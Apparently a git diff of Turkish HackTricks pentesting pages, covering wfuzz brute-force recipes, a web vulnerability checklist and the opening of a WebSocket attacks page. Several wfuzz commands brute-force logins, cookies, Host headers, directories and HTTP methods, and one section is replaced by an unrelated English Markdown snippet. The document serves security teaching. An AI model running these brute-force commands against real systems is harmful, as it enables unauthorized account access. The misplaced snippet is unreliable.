- `-z file,users.txt`: Kullanıcı adlarını içeren bir dosyayı belirtir.
- `-z file,passwords.txt`: Şifreleri içeren bir dosyayı belirtir.
- `--hc 401,403`: 401 veya 403 durum kodlarına sahip yanıtları hariç tutar.
- `-u http://target.com/login.php`: Hedef web uygulamasının giriş sayfasının URL'sini belirtir.
- `-H "Authorization: NTLM FUZZ"`: NTLM kimlik doğrulama başlığını belirtir ve FUZZ, wfuzz'un kullanıcı adı ve şifreleri yerleştireceği yer tutucusudur.
- `-F "username=admin&password=FUZZ"`: Kullanıcı adı ve şifre parametrelerini belirtir ve FUZZ, wfuzz'un kullanıcı adı ve şifreleri yerleştireceği yer tutucusudur.
- `-t 50`: 50 iş parçacığı kullanarak saldırıyı gerçekleştirir.
- `--filter "length(content) > 100"`: Yanıt içeriğinin uzunluğunu 100'den büyük olan yanıtları filtreler.
- `-p 127.0.0.1:8080`: Saldırıyı yönlendirmek için bir proxy sunucusu kullanır.
Bu komutu kullanarak wfuzz aracını NTLM kimlik doğrulama protokolünü hedefleyen bir saldırı için yapılandırabilirsiniz. Kullanıcı adları ve şifrelerin bulunduğu iki farklı liste kullanarak hedef web uygulamasında kimlik doğrulama denemeleri yapabilirsiniz. Ayrıca, sonuçları belirli bir dizeyle filtreleyebilir ve saldırıyı bir proxy sunucusu üzerinden yönlendirebilirsiniz.
#### **NTLM, 2 liste, filtre dizesi (göster), proxy**
```bash
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php"
```
### Çerez/Başlık bruteforce (vhost brute)
### Cookie/Header bruteforce (vhost brute)
#### **Çerez, filtre kodu (göster), proxy**
#### **Cookie, filtre kodu (göster), proxy**
```bash
wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php"
```
#### **User-Agent, filtre kodu (gizle), proxy**
Web uygulamalarını hedef alırken, User-Agent başlığını değiştirerek tarayıcıyı taklit edebilirsiniz. Bu, web sunucusuna gerçek bir tarayıcı gibi görünmenizi sağlar ve bazı filtreleme mekanizmalarını atlatmanıza yardımcı olabilir.
Wfuzz, User-Agent başlığını değiştirmek için `--ua` parametresini kullanır. Örneğin, aşağıdaki komutu kullanarak User-Agent başlığını "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" olarak ayarlayabilirsiniz:
```plaintext
wfuzz --ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" ...
```
Bazı durumlarda, web uygulaması girişlerini filtreleyebilir veya engelleyebilir. Bu durumda, Wfuzz filtre kodunu kullanarak bu engellemeyi atlayabilirsiniz. Filtre kodu, web sunucusuna gönderilen her yanıtı analiz eder ve belirli bir desene uyan yanıtları filtreler. Örneğin, aşağıdaki komutu kullanarak "403 Forbidden" yanıtlarını filtreleyebilirsiniz:
```plaintext
wfuzz --filter-code 403 ...
```
Wfuzz ayrıca, istekleri bir proxy sunucusu üzerinden yönlendirmenize olanak tanır. Bu, isteklerinizi gizlemek veya hedef sunucuya farklı bir IP adresiyle erişmek için kullanılabilir. Proxy sunucusunu belirtmek için `--proxy` parametresini kullanabilirsiniz. Örneğin, aşağıdaki komutu kullanarak istekleri "http://localhost:8080" proxy sunucusu üzerinden yönlendirebilirsiniz:
```plaintext
wfuzz --proxy http://localhost:8080 ...
```
Bu teknikleri kullanarak, web uygulamalarını daha etkili bir şekilde hedef alabilir ve güvenlik açıklarını keşfedebilirsiniz.
#### **Kullanıcı-Agent, filtre kodu (gizle), proxy**
```bash
wfuzz -c -w user-agents.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "User-Agent: FUZZ" "http://example.com/index.php"
```
#### **Sunucu**
#### **Host**
```bash
wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u
http://example.com -t 100
```
#### **Dosya kullanarak**
### HTTP Fiilleri (metotları) bruteforce
Bu yöntemde, WFuzz aracını kullanarak hedef web uygulamasında HTTP fiillerini (metodlarını) bruteforce yapabilirsiniz. WFuzz, belirli bir dosyadaki fiil listesini hedef uygulamaya göndererek, geçerli fiilleri tespit etmenizi sağlar.
Bu yöntemi kullanmak için aşağıdaki adımları izleyin:
1. Bir fiil listesi dosyası oluşturun. Bu dosya, hedef uygulamada denemek istediğiniz HTTP fiillerini içermelidir. Örnek bir fiil listesi dosyası aşağıdaki gibi olabilir:
```
GET
POST
PUT
DELETE
```
2. WFuzz aracını kullanarak fiil listesini hedef uygulamaya gönderin. Aşağıdaki komutu kullanabilirsiniz:
```
wfuzz -c -z file,<fiil_listesi_dosyası> <hedef_url>
```
Burada `<fiil_listesi_dosyası>` oluşturduğunuz fiil listesi dosyasının yolunu ve `<hedef_url>` hedef web uygulamasının URL'sini temsil eder.
3. WFuzz, fiil listesindeki her bir fiili hedef uygulamaya göndererek yanıtları kontrol eder. Yanıtlar arasında farklılık olduğunda, geçerli bir fiil bulunmuş demektir.
Bu yöntem, hedef web uygulamasında kullanılan HTTP fiillerini tespit etmek ve güvenlik açıklarını bulmak için etkili bir yöntemdir. Ancak, hedef uygulamanın yanıtlarını dikkatlice incelemek ve yanıtlar arasındaki farkları doğru bir şekilde yorumlamak önemlidir.
#### **Dosya Kullanarak**
```bash
wfuzz -c -w methods.txt -p 127.0.0.1:8080:HTTP --sc 200 -X FUZZ "http://example.com/index.php"
```
#### **Satır içi liste kullanımı**
You can use the inline list feature in Markdown to create a list within a paragraph. To create an inline list, simply separate the items with commas and enclose them in square brackets. For example:
```markdown
I like fruits, such as [apple], [banana], and [orange].
```
This will be rendered as:
I like fruits, such as [apple], [banana], and [orange].
You can also add links or other formatting to the items in the inline list. For example:
```markdown
I like fruits, such as [apple](https://example.com/apple), [banana](https://example.com/banana), and [orange](https://example.com/orange).
```
This will be rendered as:
I like fruits, such as [apple](https://example.com/apple), [banana](https://example.com/banana), and [orange](https://example.com/orange).
#### **Satır içi liste kullanma**
```bash
$ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/
```
### Dizin ve Dosya Bruteforce
Dizin ve dosya bruteforce, bir web uygulamasında mevcut olan dizin ve dosyaları keşfetmek için kullanılan bir tekniktir. Bu teknik, bir saldırganın hedef web uygulamasında gizli veya gizlenmiş olan dizinleri ve dosyaları bulmasına yardımcı olur.
Bu saldırıyı gerçekleştirmek için genellikle wfuzz gibi bir araç kullanılır. Wfuzz, bir wordlist (kelime listesi) ve hedef web uygulamasının URL'si ile çalışır. Wordlist, olası dizin ve dosya adlarını içeren bir liste olarak düşünülebilir. Wfuzz, bu wordlist'i kullanarak hedef web uygulamasında mevcut olan dizin ve dosyaları denemek için otomatik olarak istekler gönderir.
Bu saldırı tekniği, web uygulamasının güvenlik açıklarını tespit etmek ve hassas bilgilere erişmek için kullanılabilir. Örneğin, gizli bir yönetici paneline veya veritabanı yedeklemelerine erişmek için kullanılabilir.
Dizin ve dosya bruteforce saldırıları, web uygulamalarının güvenlik açıklarını tespit etmek ve bu açıkları kapatmak için kullanılan bir pentesting tekniğidir. Bu nedenle, web uygulamalarının güvenliğini sağlamak için bu tür saldırılara karşı önlemler almak önemlidir.
### Dizin & Dosya Bruteforce
```bash
#Filter by whitelisting codes
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ
```
## Webs Bypass Etme Aracı
## Webleri Aşmak için Araçlar
[https://github.com/carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olacak şekilde öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,63 +1,65 @@
# Web Zafiyetleri Metodolojisi
# Web Vulnerabilities Methodology
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Her Web Pentest'te, **savunmasız olabilecek birçok gizli ve açık yer bulunur**. Bu yazı, tüm olası yerlerde zafiyetleri aradığınızı doğrulamak için bir kontrol listesi olması amaçlanmıştır.
Her Web Pentest'te, **birçok gizli ve belirgin yerin savunmasız olabileceği** durumlar vardır. Bu yazı, tüm olası yerlerde zafiyet aradığınızı doğrulamak için bir kontrol listesi olarak tasarlanmıştır.
## Proxy'ler
## Proxiler
{% hint style="info" %}
Günümüzde **web** **uygulamaları** genellikle bir tür **ara** **proxy** kullanır ve bu proxy'ler, zafiyetleri sömürmek için (kötüye kullanmak) kullanılabilir. Bu zafiyetlerin etkinleştirilmesi için savunmasız bir proxy'ye ihtiyaç vardır, ancak genellikle arka uçta ek bir zafiyet de gereklidir.
Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxies** kullanır, bunlar zafiyetleri istismar etmek için (kötüye) kullanılabilir. Bu zafiyetlerin var olması için bir savunmasız proxy'nin mevcut olması gerekir, ancak genellikle arka uçta da bazı ek zafiyetler gerektirir.
{% endhint %}
* [ ] [**Hop-by-hop başlıklarının kötüye kullanılması**](../abusing-hop-by-hop-headers.md)
* [ ] [**Önbellek Zehirlenmesi/Önbellek Aldatması**](../cache-deception.md)
* [ ] [**HTTP İstek Smuggling**](../http-request-smuggling/)
* [ ] [**H2C Smuggling**](../h2c-smuggling.md)
* [ ] [**Önbellek Zehirleme/Önbellek Aldatma**](../cache-deception.md)
* [ ] [**HTTP İstek Kaçırma**](../http-request-smuggling/)
* [ ] [**H2C Kaçırma**](../h2c-smuggling.md)
* [ ] [**Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Cloudflare'ın Keşfedilmesi**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**Cloudflare'ı Ortaya Çıkarma**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**XSLT Sunucu Tarafı Enjeksiyonu**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**Proxy / WAF Korumalarının Atlanması**](../proxy-waf-protections-bypass.md)
* [ ] [**Proxy / WAF Koruma Aşma**](../proxy-waf-protections-bypass.md)
## **Kullanıcı girişi**
{% hint style="info" %}
Web uygulamalarının çoğu, daha sonra işlenecek olan bazı verileri kullanıcılara girmelerine izin verir. Sunucunun beklediği veri yapısına bağlı olarak bazı zafiyetler uygulanabilir veya uygulanmayabilir.
Çoğu web uygulaması, **kullanıcıların daha sonra işlenecek bazı verileri girmesine izin verir.**\
Verilerin yapısına bağlı olarak, sunucunun beklediği bazı zafiyetler uygulanabilir veya uygulanmayabilir.
{% endhint %}
### **Yansıtılan Değerler**
Girilen verilerin yanıtta bir şekilde yansıtılması mümkünse, sayfa çeşitli sorunlara karşı savunmasız olabilir.
Eğer girilen veriler bir şekilde yanıtta yansıtılabiliyorsa, sayfa çeşitli sorunlara karşı savunmasız olabilir.
* [ ] [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md)
* [ ] [**Komut Enjeksiyonu**](../command-injection.md)
* [ ] [**CRLF**](../crlf-0d-0a.md)
* [ ] [**Sarkık İşaretleme**](../dangling-markup-html-scriptless-injection/)
* [ ] [**Asılı İşaretleme**](../dangling-markup-html-scriptless-injection/)
* [ ] [**Dosya Dahil Etme/Yol Geçişi**](../file-inclusion/)
* [ ] [**Açık Yönlendirme**](../open-redirect.md)
* [ ] [**XSS için Prototip Kirliliği**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Prototip Kirliliği ile XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Sunucu Tarafı İstek Sahteciliği**](../ssrf-server-side-request-forgery/)
* [ ] [**Sunucu Tarafı Şablon Enjeksiyonu**](../ssti-server-side-template-injection/)
* [ ] [**Ters Tab Nabbing**](../reverse-tab-nabbing.md)
* [ ] [**Ters Sekme Yakalama**](../reverse-tab-nabbing.md)
* [ ] [**XSLT Sunucu Tarafı Enjeksiyonu**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**XSS**](../xss-cross-site-scripting/)
* [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Search**](../xs-search.md)
* [ ] [**XS-Arama**](../xs-search.md)
Bahsedilen zafiyetlerin bazıları özel koşullar gerektirirken, diğerleri yalnızca içeriğin yansıtılmasını gerektirir. Hızlı bir şekilde zafiyetleri test etmek için bazı ilginç poliglotları aşağıda bulabilirsiniz:
Bahsedilen zafiyetlerin bazıları özel koşullar gerektirirken, diğerleri yalnızca içeriğin yansıtılmasını gerektirir. Zafiyetleri hızlı bir şekilde test etmek için bazı ilginç poliglotlar bulabilirsiniz:
{% content-ref url="../pocs-and-polygloths-cheatsheet/" %}
[pocs-and-polygloths-cheatsheet](../pocs-and-polygloths-cheatsheet/)
@ -65,7 +67,7 @@ Bahsedilen zafiyetlerin bazıları özel koşullar gerektirirken, diğerleri yal
### **Arama işlevleri**
İşlev, arka uçta belirli bir veri türünü aramak için kullanılabiliyorsa, belirli bir veriyi aramak için (kötüye kullanmak) kullanabilirsiniz.
Eğer işlev, arka uçta bazı verileri aramak için kullanılabiliyorsa, belki de bunu keyfi verileri aramak için (kötüye) kullanabilirsiniz.
* [ ] [**Dosya Dahil Etme/Yol Geçişi**](../file-inclusion/)
* [ ] [**NoSQL Enjeksiyonu**](../nosql-injection.md)
@ -74,80 +76,82 @@ Bahsedilen zafiyetlerin bazıları özel koşullar gerektirirken, diğerleri yal
* [ ] [**SQL Enjeksiyonu**](../sql-injection/)
* [ ] [**XPATH Enjeksiyonu**](../xpath-injection.md)
### **Formlar, WebSockets ve PostMsgs**
### **Formlar, WebSocket'ler ve PostMsg'ler**
Bir websocket bir mesaj gönderdiğinde veya kullanıcıların eylemler gerçekleştirmelerine izin veren bir form olduğunda zafiyetler ortaya çıkabilir.
Bir websocket bir mesaj gönderdiğinde veya kullanıcıların eylemler gerçekleştirmesine izin veren bir form olduğunda zafiyetler ortaya çıkabilir.
* [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
* [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
* [**PostMessage Zafiyetleri**](../postmessage-vulnerabilities/)
* [ ] [**Cross Site İstek Sahteciliği**](../csrf-cross-site-request-forgery.md)
* [ ] [**Cross-site WebSocket ele geçirme (CSWSH)**](../websocket-attacks.md)
* [ ] [**PostMessage Zafiyetleri**](../postmessage-vulnerabilities/)
### **HTTP Başlıkları**
Web sunucusu tarafından verilen HTTP başlıklarına bağlı olarak bazı zafiyetler mevcut olabilir.
* [ ] [**Clickjacking**](../clickjacking.md)
* [ ] [**İçerik Güvenlik Politikası atlatma**](../content-security-policy-csp-bypass/)
* [ ] [**Çerezlerin Hacklenmesi**](../hacking-with-cookies/)
* [ ] [**CORS - Yanlış Yapılandırmalar ve Atlama**](../cors-bypass.md)
* [ ] [**İçerik Güvenlik Politikası aşma**](../content-security-policy-csp-bypass/)
* [ ] [**Çerez Hacking**](../hacking-with-cookies/)
* [ ] [**CORS - Yanlış Yapılandırmalar & Aşma**](../cors-bypass.md)
### **Atlama**
### **Aşmalar**
Bazı özel işlevlerde, bunları atlatabilmek için bazı çözümler kullanışlı olabilir.
Bazı özel işlevlerde, bunları aşmak için bazı geçici çözümler yararlı olabilir.
* [ ] [**2FA/OTP Atlama**](../2fa-bypass.md)
* [ ] [**Ödeme Sürecini Atlama**](../bypass-payment-process.md)
* [ ] [**Captcha Atlama**](../captcha-bypass.md)
* [ ] [**Giriş Atlama**](../login-bypass/)
* [ ] [**Yarış Koşulu**](../race-condition.md)
* [ ] [**Hız Sınırlamasını Atlama**](../rate-limit-bypass.md)
* [ ] [**Unutulan Şifreyi Sıfırlama Atlama**](../reset-password.md)
* [ ] [**2FA/OTP Aşma**](../2fa-bypass.md)
* [ ] [**Ödeme Sürecini Aşma**](../bypass-payment-process.md)
* [ ] [**Captcha Aşma**](../captcha-bypass.md)
* [ ] [**Giriş Aşma**](../login-bypass/)
* [ ] [**Yarış Durumu**](../race-condition.md)
* [ ] [**Hız Sınırıma**](../rate-limit-bypass.md)
* [ ] [**Unutulan Şifreyi Sıfırlama Aşma**](../reset-password.md)
* [ ] [**Kayıt Zafiyetleri**](../registration-vulnerabilities.md)
### **Yapılandırılmış nesneler / Belirli işlevler**
Bazı işlevler, **verinin çok belirli bir formatta yapılandırılmasını gerektirebilir** (örneğin, bir dilin seri hale getirilmiş nesnesi veya XML gibi). Bu nedenle, uygulamanın bu tür verileri işlemesi gerektiği için zayıf olup olmadığını belirlemek daha kolaydır.\
Bazı **belirli işlevler**, **girişin belirli bir formatta kullanılması durumunda** (örneğin, E-posta Başlık Enjeksiyonları gibi) zayıf olabilir.
### **Yapılandırılmış nesneler / Özel işlevler**
* [ ] [**Deserileştirme**](../deserialization/)
Bazı işlevler, **verilerin çok özel bir formatta yapılandırılmasını** gerektirir (örneğin, bir dil serileştirilmiş nesne veya XML). Bu nedenle, uygulamanın bu tür verileri işlemesi gerektiğinden, savunmasız olup olmadığını belirlemek daha kolaydır.\
Bazı **özel işlevler**, **girişin belirli bir formatta kullanılması durumunda** da savunmasız olabilir (örneğin, E-posta Başlık Enjeksiyonları).
* [ ] [**Deserialization**](../deserialization/)
* [ ] [**E-posta Başlık Enjeksiyonu**](../email-injections.md)
* [ ] [**JWT Zafiyetleri**](../hacking-jwt-json-web-tokens.md)
* [ ] [**XML Harici Varlık**](../xxe-xee-xml-external-entity.md)
* [ ] [**XML Dış Varlık**](../xxe-xee-xml-external-entity.md)
### Dosyalar
Dosya yükleme işlevlerinin birkaç soruna karşı savunmasız olabileceği durumlar vardır.\
Kullanıcı girişi içeren dosyalar oluşturan işlevler beklenmedik kodları çalıştırabilir.\
Kullanıcılar, kullanıcılar tarafından yüklenen veya otomatik olarak oluşturulan ve kullanıcı girişi içeren dosyaları açarsa tehlikeye girebilirler.
Dosya yüklemeye izin veren işlevler, çeşitli sorunlara karşı savunmasız olabilir.\
Kullanıcı girişini içeren dosyalar oluşturan işlevler beklenmedik kod çalıştırabilir.\
Kullanıcıların yüklediği veya kullanıcı girişini içeren otomatik olarak oluşturulan dosyaları açan kullanıcılar tehlikeye girebilir.
* [ ] [**Dosya Yükleme**](../file-upload/)
* [ ] [**Formül Enjeksiyonu**](../formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**PDF Enjeksiyonu**](../xss-cross-site-scripting/pdf-injection.md)
* [ ] [**Sunucu Tarafı XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Harici Kimlik Yönetimi**
### **Dış Kimlik Yönetimi**
* [ ] [**Hesap ele geçirme için OAUTH**](../oauth-to-account-takeover.md)
* [ ] [**OAUTH ile Hesap Ele Geçirme**](../oauth-to-account-takeover.md)
* [ ] [**SAML Saldırıları**](../saml-attacks/)
### **Diğer Faydalı Zafiyetler**
### **Diğer Yardımcı Zafiyetler**
Bu zafiyetler, diğer zafiyetleri sömürmeye yardımcı olabilir.
Bu zafiyetler, diğer zafiyetleri istismar etmeye yardımcı olabilir.
* [ ] [**Alan/Alt Alan ele geçirme**](../domain-subdomain-takeover.md)
* [ ] [**IDOR**](../idor.md)
* [ ] [**Parametre Kirliliği**](../parameter-pollution.md)
* [ ] [**Unicode Normalleştirme zafiyeti**](../unicode-injection/)
* [ ] [**Unicode Normalizasyon zafiyeti**](../unicode-injection/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,32 +1,33 @@
# WebSocket Saldırıları
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## WebSockets Nedir
## WebSocket Nedir
WebSocket bağlantıları, başlangıçta **HTTP** el sıkışması aracılığıyla kurulur ve işlem sistemine ihtiyaç duymadan herhangi bir zamanda **çift yönlü mesajlaşma** sağlamak için **uzun süreli** olarak tasarlanmıştır. Bu, canlı finansal veri akışları gibi **düşük gecikme süresi veya sunucu başlatmalı iletişim** gerektiren uygulamalar için WebSockets'in özellikle avantajlı olmasını sağlar.
WebSocket bağlantıları, başlangıçta bir **HTTP** el sıkışması ile kurulur ve **uzun ömürlü** olacak şekilde tasarlanmıştır; bu, herhangi bir zamanda iki yönlü mesajlaşmaya olanak tanır ve bir işlem sistemine ihtiyaç duymaz. Bu, WebSocket'leri, canlı finansal veri akışları gibi **düşük gecikme veya sunucu başlatmalı iletişim** gerektiren uygulamalar için özellikle avantajlı hale getirir.
### WebSocket Bağlantılarının Kurulması
### WebSocket Bağlantılarının Kurulumu
